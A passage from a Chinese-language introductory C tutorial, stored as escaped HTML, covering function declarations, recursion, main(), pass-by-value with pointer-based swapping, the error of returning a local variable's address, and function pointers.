class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eplus_one\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e n + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,在调用\u003ccode\u003eplus_one()\u003c/code\u003e之后,才声明这个函数,编译就会报错。\u003c/p\u003e\u003cp\u003eC 语言标准规定,函数只能声明在源码文件的顶层,不能声明在其他函数内部。\u003c/p\u003e\u003cp\u003e不返回值的函数,使用\u003ccode\u003evoid\u003c/code\u003e关键字表示返回值的类型。没有参数的函数,声明时要用\u003ccode\u003evoid\u003c/code\u003e关键字表示参数类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emyFunc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的\u003ccode\u003emyFunc()\u003c/code\u003e函数,既没有返回值,调用时也不需要参数。\u003c/p\u003e\u003cp\u003e函数可以调用自身,这就叫做递归(recursion)。下面是斐波那契数列的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"title function_\"\u003eFibonacci\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n \u0026gt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e Fibonacci(n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e) + Fibonacci(n - \u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003eFibonacci()\u003c/code\u003e调用了自身,大大简化了算法。\u003c/p\u003e\u003ch3 id=\"main\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#main\" class=\"headerlink\" title=\"main()\"\u003e\u003c/a\u003emain()\u003c/h3\u003e\u003cp\u003eC 语言规定,\u003ccode\u003emain()\u003c/code\u003e是程序的入口函数,即所有的程序一定要包含一个\u003ccode\u003emain()\u003c/code\u003e函数。程序总是从这个函数开始执行,如果没有该函数,程序就无法启动。其他函数都是通过它引入程序的。\u003c/p\u003e\u003cp\u003e\u003ccode\u003emain()\u003c/code\u003e的写法与其他函数一样,要给出返回值的类型和参数的类型,就像下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello World\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,最后的\u003ccode\u003ereturn 0;\u003c/code\u003e表示函数结束运行,返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eC 语言约定,返回值\u003ccode\u003e0\u003c/code\u003e表示函数运行成功,如果返回其他非零整数,就表示运行失败,代码出了问题。系统根据\u003ccode\u003emain()\u003c/code\u003e的返回值,作为整个程序的返回值,确定程序是否运行成功。\u003c/p\u003e\u003cp\u003e正常情况下,如果\u003ccode\u003emain()\u003c/code\u003e里面省略\u003ccode\u003ereturn 0\u003c/code\u003e这一行,编译器会自动加上,即\u003ccode\u003emain()\u003c/code\u003e的默认返回值为0。所以,写成下面这样,效果完全一样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello World\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e由于 C 语言只会对\u003ccode\u003emain()\u003c/code\u003e函数默认添加返回值,对其他函数不会这样做,所以建议总是保留\u003ccode\u003ereturn\u003c/code\u003e语句,以便形成统一的代码风格。\u003c/p\u003e\u003ch3 id=\"参数的传值引用\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%82%E6%95%B0%E7%9A%84%E4%BC%A0%E5%80%BC%E5%BC%95%E7%94%A8\" class=\"headerlink\" title=\"参数的传值引用\"\u003e\u003c/a\u003e参数的传值引用\u003c/h3\u003e\u003cp\u003e如果函数的参数是一个变量,那么调用时,传入的是这个变量的值的拷贝,而不是变量本身。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eincrement\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eincrement(i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i); \u003cspan class=\"comment\"\u003e// 10\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,调用\u003ccode\u003eincrement(i)\u003c/code\u003e以后,变量\u003ccode\u003ei\u003c/code\u003e本身不会发生变化,还是等于\u003ccode\u003e10\u003c/code\u003e。因为传入函数的是\u003ccode\u003ei\u003c/code\u003e的拷贝,而不是\u003ccode\u003ei\u003c/code\u003e本身,拷贝的变化,影响不到原始变量。这就叫做“传值引用”。\u003c/p\u003e\u003cp\u003e所以,如果参数变量发生变化,最好把它作为返回值传出来。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eincrement\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei = increment(i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i); \u003cspan class=\"comment\"\u003e// 11\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e再看下面的例子,\u003ccode\u003eSwap()\u003c/code\u003e函数用来交换两个变量的值,由于传值引用,下面的写法不会生效。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eSwap\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e x, \u003cspan class=\"type\"\u003eint\u003c/span\u003e y)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e temp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e temp = x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e y = temp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e b = \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSwap(a, b); \u003cspan class=\"comment\"\u003e// 无效\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的写法不会产生交换变量值的效果,因为传入的变量是原始变量\u003ccode\u003ea\u003c/code\u003e和\u003ccode\u003eb\u003c/code\u003e的拷贝,不管函数内部怎么操作,都影响不了原始变量。\u003c/p\u003e\u003cp\u003e如果想要传入变量本身,只有一个办法,就是传入变量的地址。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eSwap\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* x, \u003cspan class=\"type\"\u003eint\u003c/span\u003e* y)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e temp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e temp = *x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *x = *y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *y = temp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e b = \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSwap(\u0026amp;a, \u0026amp;b);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,通过传入变量\u003ccode\u003ex\u003c/code\u003e和\u003ccode\u003ey\u003c/code\u003e的地址,函数内部就可以直接操作该地址,从而实现交换两个变量的值。\u003c/p\u003e\u003cp\u003e虽然跟传参无关,这里特别提一下,函数不要返回内部变量的指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u0026amp;i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数返回内部变量\u003ccode\u003ei\u003c/code\u003e的指针,这种写法是错的。因为当函数结束运行时,内部变量就消失了,这时指向内部变量\u003ccode\u003ei\u003c/code\u003e的内存地址就是无效的,再去使用这个地址是非常危险的。\u003c/p\u003e\u003ch3 id=\"函数指针\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%87%BD%E6%95%B0%E6%8C%87%E9%92%88\" class=\"headerlink\" title=\"函数指针\"\u003e\u003c/a\u003e函数指针\u003c/h3\u003e\u003cp\u003e函数本身就是一段内存里面的代码,C 语言允许通过指针获取函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprint\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*print_ptr)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) = \u0026amp;print;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003eprint_ptr\u003c/code\u003e是一个函数指针,它指向函数\u003ccode\u003eprint()\u003c/code\u003e的地址。函数\u003ccode\u003eprint()\u003c/code\u003e的地址可以用\u003ccode\u003e\u0026amp;print\u003c/code\u003e获得。注意,\u003ccode\u003e(*print_ptr)\u003c/code\u003e一定要写在圆括号里面,否则函数参数\u003ccode\u003e(int)\u003c/code\u003e的优先级高于\u003ccode\u003e*\u003c/code\u003e,整个式子就会变成\u003ccode\u003evoid* print_ptr(int)\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e有了函数指针,通过它也可以调用函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e(*print_ptr)(\u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eprint(\u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e比较特殊的是,C 语言还规定,函数名本身就是指向函数代码的指针,通过函数名就能获取函数地址。也就是说,\u003ccode\u003eprint\u003c/code\u003e和\u003ccode\u003e\u0026amp;print\u003c/code\u003e是一回事。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (print == \u0026amp;print) \u003cspan class=\"comment\"\u003e// true\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e因此,上面代码的\u003ccode\u003eprint_ptr\u003c/code\u003e等同于\u003ccode\u003eprint\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*print_ptr)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) = \u0026amp;print;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 或\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e (*print_ptr)(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) = 